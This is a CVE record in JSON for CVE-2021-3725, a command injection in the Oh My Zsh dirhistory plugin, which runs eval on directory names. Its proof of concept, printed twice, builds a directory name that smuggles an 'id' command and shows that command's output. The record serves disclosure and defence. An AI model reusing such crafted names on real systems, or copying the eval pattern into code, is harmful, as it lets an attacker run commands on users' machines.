Files
vuln-cve/data/2021/3xxx/CVE-2021-3725.json
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{
"containers": {
"cna": {
"affected": [
{
"product": "ohmyzsh/ohmyzsh",
"vendor": "ohmyzsh",
"versions": [
{
"lessThan": "06fc5fb",
"status": "affected",
"version": "unspecified",
"versionType": "custom"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin."
}
],
"exploits": [
{
"lang": "en",
"value": "Exploit PoC:\n\n1. Install Oh My Zsh.\n2. Enable the dirhistory plugin.\n3. Open a terminal and create and cd into a directory like so:\n\n baddir=\"directory';id;echo 'pwned\"\n mkdir \"$baddir\" && cd \"$baddir\"\n\n4. Press Alt-Left to go back to previous directory (in macOS, use Option-Left).\n\n5. id and echo pwned are executed:\n\n $ <Alt-Left>\n uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n pwned"
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 OS Command Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2021-11-30T09:30:14.000Z",
"orgId": "c09c270a-b464-47c1-9133-acb35b22c19a",
"shortName": "@huntrdev"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"
}
],
"title": "OS Command Injection in ohmyzsh/ohmyzsh",
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "security@huntr.dev",
"ID": "CVE-2021-3725",
"STATE": "PUBLIC",
"TITLE": "OS Command Injection in ohmyzsh/ohmyzsh"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "ohmyzsh/ohmyzsh",
"version": {
"version_data": [
{
"version_affected": "<",
"version_value": "06fc5fb"
}
]
}
}
]
},
"vendor_name": "ohmyzsh"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin."
}
]
},
"exploit": [
{
"lang": "en",
"value": "Exploit PoC:\n\n1. Install Oh My Zsh.\n2. Enable the dirhistory plugin.\n3. Open a terminal and create and cd into a directory like so:\n\n baddir=\"directory';id;echo 'pwned\"\n mkdir \"$baddir\" && cd \"$baddir\"\n\n4. Press Alt-Left to go back to previous directory (in macOS, use Option-Left).\n\n5. id and echo pwned are executed:\n\n $ <Alt-Left>\n uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n pwned"
}
],
"impact": {
"cvss": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-78 OS Command Injection"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb",
"refsource": "MISC",
"url": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"
}
]
}
}
},
"adp": [
{
"providerMetadata": {
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE",
"dateUpdated": "2024-08-03T17:01:08.297Z"
},
"title": "CVE Program Container",
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"
}
]
}
]
},
"cveMetadata": {
"assignerOrgId": "c09c270a-b464-47c1-9133-acb35b22c19a",
"assignerShortName": "@huntrdev",
"cveId": "CVE-2021-3725",
"datePublished": "2021-11-30T09:30:14.000Z",
"dateReserved": "2021-08-19T00:00:00.000Z",
"dateUpdated": "2024-08-03T17:01:08.297Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}